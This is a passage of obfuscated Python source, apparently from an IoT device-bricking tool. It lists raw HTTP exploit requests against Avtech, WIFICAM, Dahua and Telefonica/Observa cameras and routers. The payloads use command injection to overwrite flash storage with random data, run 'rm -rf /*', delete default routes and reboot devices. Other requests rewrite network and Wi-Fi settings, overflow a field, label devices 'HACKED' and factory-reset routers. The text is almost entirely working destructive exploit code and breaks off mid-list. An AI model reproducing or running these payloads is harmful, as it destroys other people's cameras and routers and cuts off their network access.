if 30 - 30: o0ooO * Ii11i1iIi + O0oo * Oo0Oo / OOooOO0 - o0oooooO
O00oO ( O0O0 )
continue
if 58 - 58: i1IIi1i1iiI % Ii11i1iIi - o0ooO + IIiIIiIii1I
if 48 - 48: oOOo0000o % Oooo
if 95 - 95: o0oooooO - o0ooO * oOOo0000o . i1
if 54 - 54: Ii + O0oo0OOOOO00 - Oo0 - i1IIi1i1iiI % O0oo / OOooOO0
if 41 - 41: Oo0 + oOoO0Ooo . Oo0Oo
if 93 - 93: Oo0 * IIiIIiIii1I % OOooOO0 . o0ooO / O0oo / Ii
if 79 - 79: IIiIIiIii1I % oOoO0Ooo
if 43 - 43: o0oooooO + Ii11i1iIi * O0oo
if 93 - 93: oOOo0000o / Ii11i1iIi
if 62 - 62: i1IIi1i1iiI / o0ooO
if 85 - 85: Oo0Oo - OOOoOooO
time . sleep ( 3 )
if 11 - 11: oOoO0Ooo + O0oo0OOOOO00 / IIiIii1iI * o0ooO % Ii11i1iIi
O0O = "SPLTX"
if 90 - 90: o0oooooO / O0oo0OOOOO00 + o0ooO % o0oooooO . i1IIi1i1iiI
if 76 - 76: Ii * O0oo
if 44 - 44: IIiIii1iI
if 88 - 88: i1 . IIiIIiIii1I * OOOoOooO + oOoO0Ooo % o0oooooO + Oo0
if 39 - 39: i1IIi1i1iiI - IIiIIiIii1I
IIIIiI = 60
iI1iiii11I11I = 0.5
if 3 - 3: oOOoO00oo0 % O0oo % Oo0 / Oo0 * Ii11i1iIi
o0O0oO = [
[ 'avtech' , 'Linux.*UPnP.*Avtech' ,
'GET /cgi-bin/user/Config.cgi?/nobody&action=get&category=Account.* HTTP/1.0\r\n\r\n' ,
'GET /cgi-bin/nobody/VerifyCode.cgi?account=%%CUSTOM1%%&login=quick HTTP/1.0\r\n\r\n' ,
'GET /cgi-bin/supervisor/CloudSetup.cgi?exefile=(cat%20/dev/urandom%20%3e/dev/mtdblock3%20%26);(cat%20/dev/urandom%20%3e/dev/mtdblock4%20%26);(cat%20/dev/urandom%20%3e/dev/mtdblock6%20%26);(cat%20/dev/urandom%20%3e/dev/sda2%20%26);((sleep%2017;route%20del%20default)%20%26) HTTP/1.0\r\nCookie: SSID=%%CUSTOM1%%\r\n\r\n' ,
'POST /cgi-bin/supervisor/adcommand.cgi HTTP/1.0\r\nCookie: SSID=%%CUSTOM1%%\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nDoShellCmd "strCmd=(cat%20/dev/urandom%20%3e/dev/mtdblock3%20%26);(cat%20/dev/urandom%20%3e/dev/mtdblock4%20%26);(cat%20/dev/urandom%20%3e/dev/mtdblock6%20%26);(cat%20/dev/urandom%20%3e/dev/sda2%20%26);((sleep%2015;route%20del%20default)%20%26)&"' ,
'POST /cgi-bin/user/Config.cgi?/nobody HTTP/1.0\r\nCookie: SSID=%%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\naction=set&Network.BootProto=STATIC&Network.IPAddress=10.%%RAND8%%&Network.DefaultRouter=10.%%COMP8%%&Network.SubnetMask=255.255.255.0&Network.WebPort=%%RANDPORT%%&Network.DNSServer1=1.2.3.4&Network.DNSServer2=1.2.3.5' ,
'POST /cgi-bin/user/Config.cgi HTTP/1.0\r\nCookie: SSID=%%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\naction=set&Network.BootProto=STATIC&Network.IPAddress=192.168.%%RAND16%%&Network.DefaultRouter=192.168.%%COMP16%%&Network.SubnetMask=255.255.255.0&Network.WebPort=%%RANDPORT%%&Network.DNSServer1=1.2.3.4&Network.DNSServer2=1.2.3.5&Network.UPNP.Enabled.OFF' ,
'POST /cgi-bin/user/Config.cgi?action=set&Network.SMTP.Receivers=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.0\r\n\r\n' ,
'GET / HTTP/1.1\r\nHost: %%TARGETIP%%\r\n\r\n' ,
] ,
[ 'wificam' , 'GoAhead-Webs.*WIFICAM' ,
'GET system.ini HTTP/1.0\r\n\r\n' ,
'GET login.cgi HTTP/1.0\r\n\r\n' ,
'GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%%LOGIN%%&loginpas=%%PASSWORD%%&svr=192.168.1.1&port=21&user=ftp&pwd=$(cat%20/dev/urandom%20>/dev/root)&dir=/&mode=PORT&upload_interval=0\r\n\r\n' ,
'GET /ftptest.cgi?next_url=test_ftp.htm&loginuse=%%LOGIN%%&loginpas=%%PASSWORD%%\r\n\r\n' ,
'GET /set_network.cgi?next_url=rebootme.html&loginuse=%%LOGIN%%&loginpas=%%PASSWORD%%&ipaddr=10.%%RAND8%%&mask=255.255.255.0&gateway=10.%%COMP8%%&dns1=1.2.3.4&dns2=1.2.3.5&dhcp=0&port=%%RANDPORT%%\r\n\r\n' ,
'GET /rebootme.htm?loginuse=%%LOGIN%%&loginpas=%%PASSWORD%%\r\n\r\n' ,
'GET /reboot.cgi?next_url=reboot.htm&loginuse=%%LOGIN%%&loginpas=%%PASSWORD%%\r\n\r\n' ,
'GET /set_wifi.cgi?next_url=rebootme.htm&loginuse=%%LOGIN%%&loginpas=%%PASSWORD%%&enable=0&ssid=&mode=0&encrypt=0&authtype=0&keyformat=0&defkey=0&key1=&key2=&key3=&key4=&key1_bits=0&key2_bits=0&key3_bits=0&key4_bits=0&wpa_pask=&channel=0\r\n\r\n' ,
'GET /rebootme.htm?loginuse=%%LOGIN%%&loginpas=%%PASSWORD%%\r\n\r\n' ,
'GET /reboot.cgi?next_url=reboot.htm&loginuse=%%LOGIN%%&loginpas=%%PASSWORD%%\r\n\r\n' ,
'GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%%LOGIN%%&loginpas=%%PASSWORD%%&svr=192.168.1.1&port=21&user=ftp&pwd=$(rm%20-rf%20/*)&dir=/&mode=PORT&upload_interval=0\r\n\r\n' ,
'GET /ftptest.cgi?next_url=test_ftp.htm&loginuse=%%LOGIN%%&loginpas=%%PASSWORD%%\r\n\r\n' ,
'GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%%LOGIN%%&loginpas=%%PASSWORD%%&svr=192.168.1.1&port=21&user=ftp&pwd=$(reboot)&dir=/&mode=PORT&upload_interval=0\r\n\r\n' ,
'GET /ftptest.cgi?next_url=test_ftp.htm&loginuse=%%LOGIN%%&loginpas=%%PASSWORD%%\r\n\r\n' ,
'GET /set_formatsd.cgi?next_url=recordsch.htm&loginuse=%%LOGIN%%&loginpas=%%PASSWORD%%\r\n\r\n' ,
'GET /recordsch.htm?loginuse=%%LOGIN%%&loginpas=%%PASSWORD%%\r\n\r\n' ,
'GET /set_mail.cgi?next_url=mail.htm&loginuse=%%LOGIN%%&loginpas=%%PASSWORD%%&sender=a@a.com&receiver1=;route$IFSdel$IFSdefault&receiver2=&receiver3=&receiver4=&ssl=0&svr=smtp.google.com&smtpport=25&user=&pwd= HTTP/1.0\r\n\r\n' ,
'GET /mailtest.cgi?next_url=test_mail.html&loginuse=%%LOGIN%%&loginpas=%%PASSWORD%% HTTP/1.0\r\n\r\n' ,
'GET /decoder_control.cgi?loginuse=%%LOGIN%%&loginpas=%%PASSWORD%%&command=26&onestep=0&11251251512431.21312321313&_=1489741007900\r\n\r\n' ,
'GET /set_alias.cgi?loginuse=%%LOGIN%%&loginpas=%%PASSWORD%%&alias=HACKED&next_url=alias.htm\r\n\r\n' ,
'GET /set_datetime.cgi?next_url=datetime.htm&loginuse=%%LOGIN%%&loginpas=%%PASSWORD%%&ntp_svr=1.2.3.4&tz=36000&ntp_enable=0\r\n\r\n' ,
'GET /camera_control.cgi?loginuse=%%LOGIN%%&loginpas=%%PASSWORD%%&param=2&value=0&15011526173000.9650471447315604&_=1501152617300\r\n\r\n' ,
'GET /camera_control.cgi?loginuse=%%LOGIN%%&loginpas=%%PASSWORD%%&param=1&value=0&15011526173000.9650471447315604&_=1501152617301\r\n\r\n' ,
'GET /camera_control.cgi?loginuse=%%LOGIN%%&loginpas=%%PASSWORD%%&param=9&value=0&15011526173000.9650471447315604&_=1501152617302\r\n\r\n' ,
'GET /camera_control.cgi?loginuse=%%LOGIN%%&loginpas=%%PASSWORD%%&param=8&value=0&15011526173000.9650471447315604&_=1501152617303\r\n\r\n' ,
'GET /decoder_control.cgi?loginuse=%%LOGIN%%&loginpas=%%PASSWORD%%&command=94&onestep=0&11251251512431.21312321313&_=1489741007901\r\n\r\n' ,
'GET / HTTP/1.1\r\nHost: %%TARGETIP%%\r\n\r\n' ,
] ,
[ 'dahua' , '(["/=]more\.js|title>WEB SERVICE</title|css/fn.css|CPPLUS DVR|CONTENT-LENGTH:)' ,
'GET /current_config/passwd HTTP/1.0\r\n\r\n' ,
'POST /RPC2_Login HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded; charset=utf-8\r\nContent-Length: %%BODYLENGTH%%\r\nCookie: DHLangCookie30=%2Fweb_lang%2FEnglish.txt; DhWebSnapPath=C%3A%5CPictureDownload; DhWebRecordPath=C%3A%5CRecordDownload\r\n\r\n{"method":"global.login","params":{"userName":"%%CUSTOM1%%","password":"","clientType":"Dahua3.0-Web3.0-NOTIE"},"id":10000}' ,
'POST /RPC2_Login HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded; charset=utf-8\r\nContent-Length: %%BODYLENGTH%%\r\nCookie: DHLangCookie30=%2Fweb_lang%2FEnglish.txt; DhWebSnapPath=C%3A%5CPictureDownload; DhWebRecordPath=C%3A%5CRecordDownload; DhWebClientSessionID=%%CUSTOM2%%\r\n\r\n {"method":"global.login","session":%%CUSTOM2%%,"params":{"userName":"%%CUSTOM1%%","password":"%%CUSTOM3%%","clientType":"Dahua3.0-Web3.0-NOTIE", "authorityType":"%%CUSTOM4%%"},"id":10000}' ,
'POST /RPC2 HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded; charset=utf-8\r\nContent-Length: %%BODYLENGTH%%\r\nCookie: DHLangCookie30=%2Fweb_lang%2FEnglish.txt; DhWebSnapPath=C%3A%5CPictureDownload; DhWebRecordPath=C%3A%5CRecordDownload; DhWebClientSessionID=%%CUSTOM2%%\r\n\r\n{"method":"configManager.setConfig","params":{"name":"VideoColor","table":[[{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"1 00:00:00-24:00:00"},{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"0 00:00:00-24:00:00"}],[{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"1 00:00:00-24:00:00"},{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"0 00:00:00-24:00:00"}],[{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"1 00:00:00-24:00:00"},{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"0 00:00:00-24:00:00"}],[{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"1 00:00:00-24:00:00"},{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"0 00:00:00-24:00:00"}],[{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"1 00:00:00-24:00:00"},{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"0 00:00:00-24:00:00"}],[{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"1 00:00:00-24:00:00"},{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"0 00:00:00-24:00:00"}],[{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"1 00:00:00-24:00:00"},{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"0 00:00:00-24:00:00"}],[{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"1 00:00:00-24:00:00"},{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"0 00:00:00-24:00:00"}],[{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"1 00:00:00-24:00:00"},{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"0 00:00:00-24:00:00"}],[{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"1 00:00:00-24:00:00"},{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"0 00:00:00-24:00:00"}],[{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"1 00:00:00-24:00:00"},{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"0 00:00:00-24:00:00"}],[{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"1 00:00:00-24:00:00"},{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"0 00:00:00-24:00:00"}],[{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"1 00:00:00-24:00:00"},{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"0 00:00:00-24:00:00"}],[{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"1 00:00:00-24:00:00"},{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"0 00:00:00-24:00:00"}],[{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"1 00:00:00-24:00:00"},{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"0 00:00:00-24:00:00"}],[{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"1 00:00:00-24:00:00"},{"Acutance":1,"Brightness":1,"Contrast":1,"Hue":1,"Saturation":1,"TimeSection":"0 00:00:00-24:00:00"}]],"options":""},"session":%%CUSTOM2%%,"id":111}:""' ,
'POST /RPC2 HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded; charset=utf-8\r\nContent-Length: %%BODYLENGTH%%\r\nCookie: DHLangCookie30=%2Fweb_lang%2FEnglish.txt; DhWebSnapPath=C%3A%5CPictureDownload; DhWebRecordPath=C%3A%5CRecordDownload; DhWebClientSessionID=%%CUSTOM2%%\r\n\r\n{"method":"system.multicall","params":[{"method":"configManager.setConfig","params":{"name":"Network","table":{"DefaultInterface":"eth0","Domain":"dahua","Hostname":"DVR","eth0":{"DefaultGateway":"10.%%COMP8%%","DhcpEnable":false,"DnsServers":["1.2.3.4","1.2.3.5"],"IPAddress":"10.%%RAND8%%","MTU":1500,"PhysicalAddress":"90:02:A9:%%RHEX1%%:%%RHEX2%%:%%RHEX3%%","SubnetMask":"255.255.255.0"}},"options":""},"session":%%CUSTOM2%%,"id":558}, {"method":"configManager.setConfig","params":{"name":"MediaFileReaderGlobal","table":{"DefaultBitrateLevel":"Normal"},"options":""},"session":%%CUSTOM2%%,"id":559}, {"method":"configManager.setConfig","params":{"name":"IPv6","table":{"eth0":{"DefaultGateway":"","DnsServers":["::ffff:1.2.3.4","::ffff:1.2.3.5"],"IPAddress":"","LinkLocalAddress":"fe80::9202:a9ff:fed6:a411/64","Prefix":64}},"options":""},"session":95063849,"id":560}],"session":%%CUSTOM2%%,"id":561}' ,
'POST /RPC2 HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded; charset=utf-8\r\nContent-Length: %%BODYLENGTH%%\r\nCookie: DHLangCookie30=%2Fweb_lang%2FEnglish.txt; DhWebSnapPath=C%3A%5CPictureDownload; DhWebRecordPath=C%3A%5CRecordDownload; DhWebClientSessionID=%%CUSTOM2%%\r\n\r\n{"method":"configManager.setConfig","params":{"name":"WLan","table":{"eth0":{"SSID":""},"eth1":{"SSID":""},"eth2":{"LinkEnable":true,"SSID":""},"eth3":{"SSID":""},"eth4":{"SSID":""}},"options":""},"session":%%CUSTOM2%%,"id":131}:""' ,
'POST /RPC2 HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded; charset=utf-8\r\nContent-Length: %%BODYLENGTH%%\r\nCookie: DHLangCookie30=%2Fweb_lang%2FEnglish.txt; DhWebSnapPath=C%3A%5CPictureDownload; DhWebRecordPath=C%3A%5CRecordDownload; DhWebClientSessionID=%%CUSTOM2%%\r\n\r\n{"method":"configManager.setConfig","params":{"name":"Wireless","table":{"3G":{"APN":"","Activate":false,"AuthMode":"No","DailNumber":"","Enable":0,"KeepAlive":0,"Password":"","UserName":"","WorkMode":"Auto"}},"options":""},"session":%%CUSTOM2%%,"id":133}:""' ,
'POST /RPC2 HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded; charset=utf-8\r\nContent-Length: %%BODYLENGTH%%\r\nCookie: DHLangCookie30=%2Fweb_lang%2FEnglish.txt; DhWebSnapPath=C%3A%5CPictureDownload; DhWebRecordPath=C%3A%5CRecordDownload; DhWebClientSessionID=%%CUSTOM2%%\r\n\r\n{"method":"configManager.setConfig","params":{"name":"PPPoE","table":{"Enable":false,"Password":"HACKED","UserName":"HACKED"},"options":""},"session":%%CUSTOM2%%,"id":72}:""' ,
'POST /RPC2 HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded; charset=utf-8\r\nContent-Length: %%BODYLENGTH%%\r\nCookie: DHLangCookie30=%2Fweb_lang%2FEnglish.txt; DhWebSnapPath=C%3A%5CPictureDownload; DhWebRecordPath=C%3A%5CRecordDownload; DhWebClientSessionID=%%CUSTOM2%%\r\n\r\n{"method":"configManager.setConfig","params":{"name":"VideoIn","table":[{"Name":"HACKED 1"},{"Name":"HACKED 2"},{"Name":"UPGRADE 3"},{"Name":"FIRMWARE 4"},{"Name":"HACKED 5"},{"Name":"UPGRADE 6"},{"Name":"FIRMWARE 7"},{"Name":"HACKED 8"},{"Name":"UPGRADE 9"},{"Name":"FIRMWARE 10"},{"Name":"HACKED 11"},{"Name":"UPGRADE 12"},{"Name":"FIRMWARE 13"},{"Name":"HACKED 14"},{"Name":"UPGRADE 15"},{"Name":"FIRMWARE 16"}],"options":""},"session":%%CUSTOM2%%,"id":127}:""' ,
'POST /RPC2 HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded; charset=utf-8\r\nContent-Length: %%BODYLENGTH%%\r\nCookie: DHLangCookie30=%2Fweb_lang%2FEnglish.txt; DhWebSnapPath=C%3A%5CPictureDownload; DhWebRecordPath=C%3A%5CRecordDownload; DhWebClientSessionID=%%CUSTOM2%%\r\n\r\n{"method":"configManager.setConfig","params":{"name":"UPnP","table":{"Enable":false,"MapTable":[{"Enable":false,"InnerPort":80,"OuterPort":80,"Protocol":"TCP","ServiceName":"HTTP"},{"Enable":false,"InnerPort":37777,"OuterPort":37777,"Protocol":"TCP","ServiceName":"TCP"},{"Enable":false,"InnerPort":37778,"OuterPort":37778,"Protocol":"UDP","ServiceName":"UDP"},{"Enable":false,"InnerPort":554,"OuterPort":554,"Protocol":"UDP","ServiceName":"RTSP"},{"Enable":false,"InnerPort":554,"OuterPort":554,"Protocol":"TCP","ServiceName":"RTSP"},{"Enable":false,"InnerPort":161,"OuterPort":161,"Protocol":"UDP","ServiceName":"SNMP"},{"Enable":false,"InnerPort":443,"OuterPort":443,"Protocol":"TCP","ServiceName":"HTTPS"}]},"options":""},"session":%%CUSTOM2%%,"id":562}:""' ,
'POST /RPC2 HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded; charset=utf-8\r\nContent-Length: %%BODYLENGTH%%\r\nCookie: DHLangCookie30=%2Fweb_lang%2FEnglish.txt; DhWebSnapPath=C%3A%5CPictureDownload; DhWebRecordPath=C%3A%5CRecordDownload; DhWebClientSessionID=%%CUSTOM2%%\r\n\r\n{"method":"magicBox.reboot","params":{"delay" : 1100},"session":%%CUSTOM2%%,"id":211}:""' ,
'GET / HTTP/1.0\r\n\r\n' ,
] ,
[ 'homestation' , '200 Ok.*Server: minihttpd/.*window\.location\.href = /html/gui/;' ,
'GET /cgi-bin/webproc HTTP/1.0\r\n\r\n' ,
'POST /cgi-bin/webproc HTTP/1.1\r\nHost: %%TARGETIP%%\r\nReferer: http://%%TARGETIP%%/cgi-bin/webproc\r\nCookie: sessionid=%%CUSTOM1%%; language=en_us; sys_UserName=TelefonicaUser\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\ngetpage=html%2Findex.html&errorpage=html%2Fmain.html&var%3Amenu=setup&var%3Apage=wizard&obj-action=auth&%3Ausername=TelefonicaUser&%3Apassword=user&%3Aaction=login&%3Asessionid=%%CUSTOM1%%' ,
'POST /cgi-bin/webproc HTTP/1.1\r\nHost: %%TARGETIP%%\r\nReferer: http://%%TARGETIP%%/cgi-bin/webproc?getpage=html/index.html&var:menu=setup&var:page=lan\r\nCookie: sessionid=%%CUSTOM1%%; language=en_us; sys_UserName=TelefonicaUser\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\n%3AInternetGatewayDevice.LANDevice.1.X_TWSZ-COM_ProxyArp=0&%3AInternetGatewayDevice.LANDevice.1.LANHostConfigManagement.DomainName=homestation&%3AInternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.1.Enable=0&%3AInternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.2.Enable=0&%3AInternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.1.IPInterfaceIPAddress=10.%%RAND8%%&%3AInternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.1.IPInterfaceSubnetMask=255.255.255.0&%3AInternetGatewayDevice.LANDevice.1.LANHostConfigManagement.DHCPServerEnable=1&%3AInternetGatewayDevice.LANDevice.1.LANHostConfigManagement.MinAddress=127.0.0.1&%3AInternetGatewayDevice.LANDevice.1.LANHostConfigManagement.MaxAddress=127.0.0.1&%3AInternetGatewayDevice.LANDevice.1.LANHostConfigManagement.DHCPLeaseTime=86400&%3AInternetGatewayDevice.LANDevice.1.LANHostConfigManagement.DHCPRelay=0&%3AInternetGatewayDevice.LANDevice.1.LANHostConfigManagement.SubnetMask=255.255.255.0&%3AInternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPRouters=10.%%COMP8%%&%3AInternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_TWSZ-COM_DHCPEnabled=1&%3AInternetGatewayDevice.LANDevice.1.WLANConfiguration.2.X_TWSZ-COM_DHCPEnabled=1&%3AInternetGatewayDevice.LANDevice.1.WLANConfiguration.3.X_TWSZ-COM_DHCPEnabled=1&%3AInternetGatewayDevice.LANDevice.1.WLANConfiguration.4.X_TWSZ-COM_DHCPEnabled=1&%3AInternetGatewayDevice.LANDevice.1.LANHostConfigManagement.X_TWSZ-COM_UseIPRoutersAsDNSServer=0&%3AInternetGatewayDevice.LANDevice.1.LANHostConfigManagement.DNSServers=200.21.200.10%2C200.21.200.80&errorpage=html%2Findex.html&getpage=html%2Findex.html&var%3Amenu=setup&var%3Apage=lan&obj-action=set&var%3Aerrorpage=lan&%3AInternetGatewayDevice.LANDevice.1.LANEthernetInterfaceConfig.1.DhcpServerEnable=1&%3AInternetGatewayDevice.LANDevice.1.LANEthernetInterfaceConfig.2.DhcpServerEnable=1&%3AInternetGatewayDevice.LANDevice.1.LANEthernetInterfaceConfig.3.DhcpServerEnable=1&%3AInternetGatewayDevice.LANDevice.1.LANEthernetInterfaceConfig.4.DhcpServerEnable=1' ,
'POST /cgi-bin/webproc HTTP/1.1\r\nHost: %%TARGETIP%%\r\nReferer: http://%%TARGETIP%%/cgi-bin/webproc?getpage=html/index.html&var:menu=setup&var:page=wireless&var:subpage=wlbasic\r\nCookie: sessionid=%%CUSTOM1%%; language=en_us; sys_UserName=TelefonicaUser\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\n%3AInternetGatewayDevice.X_TWSZ-COM_WLAN.WirelessMultiAPIsolationEnable=0&%3AInternetGatewayDevice.LANDevice.1.WLANConfiguration.1.Enable=1&%3AInternetGatewayDevice.LANDevice.1.WLANConfiguration.1.SSID=%28HACKED%29&%3AInternetGatewayDevice.LANDevice.1.WLANConfiguration.1.SSIDAdvertisementEnabled=1&%3AInternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_TWSZ-COM_CurrentCountry=Colombia&%3AInternetGatewayDevice.LANDevice.1.WLANConfiguration.1.Channel=6&%3AInternetGatewayDevice.LANDevice.1.WLANConfiguration.1.Standard=bgn&%3AInternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_TWSZ-COM_Bandwidth=40&%3AInternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_TWSZ-COM_ControlSideband=Upper&var%3Amenu=setup&var%3Apage=wireless&var%3Asubpage=wlbasic&var%3Aerrorpage=wlbasic&getpage=html%2Findex.html&errorpage=html%2Findex.html&obj-action=set' ,
'POST /cgi-bin/webproc HTTP/1.1\r\nHost: %%TARGETIP%%\r\nReferer: http://%%TARGETIP%%/cgi-bin/webproc?getpage=html/index.html&var:menu=advanced&var:page=route&var:subpage=defaultgw\r\nCookie: sessionid=%%CUSTOM1%%; language=en_us; sys_UserName=TelefonicaUser\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\n%3AInternetGatewayDevice.X_TWSZ-COM_DEFAULT_GW.GWIP=1.2.3.4&%3AInternetGatewayDevice.X_TWSZ-COM_DEFAULT_GW.Active=GWIP&obj-action=set&getpage=html%2Findex.html&errorpage=html%2Findex.html&var%3Amenu=advanced&var%3Apage=route&var%3Asubpage=defaultgw&var%3Aerrorpage=defaultgw&var%3ACacheLastData=c2VsZWN0Q29ubmVjdGlvbk5hbWU9MHxBdXRvRGVmdEdXPWZhbHNlfEdXSVA9dHJ1ZXxzdGF0aWNSb3VnaW5nR2F0ZXdheT0xLjIuMy40fFVzZXJJbklmPWZhbHNl' ,
'POST /cgi-bin/webproc HTTP/1.1\r\nHost: %%TARGETIP%%\r\nReferer: http://%%TARGETIP%%/cgi-bin/webproc?getpage=html/index.html&var:menu=maintenance&var:page=system\r\nCookie: sessionid=%%CUSTOM1%%; language=en_us; sys_UserName=TelefonicaUser\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nrestore=Restore+Default+Setting&obj-action=recover&var%3Anoredirect=1&var%3Amenu=maintenance&var%3Apage=system&var%3Aerrorpage=system&getpage=html%2Fpage%2Frestarting.html' ,
'GET / HTTP/1.0\r\n\r\n' ,
] ,
[ 'observa' , '200 Ok.*Server: minihttpd/.*window\.location\.href = /cgi-bin/webproc;' ,
'GET /cgi-bin/webproc HTTP/1.0\r\n\r\n' ,
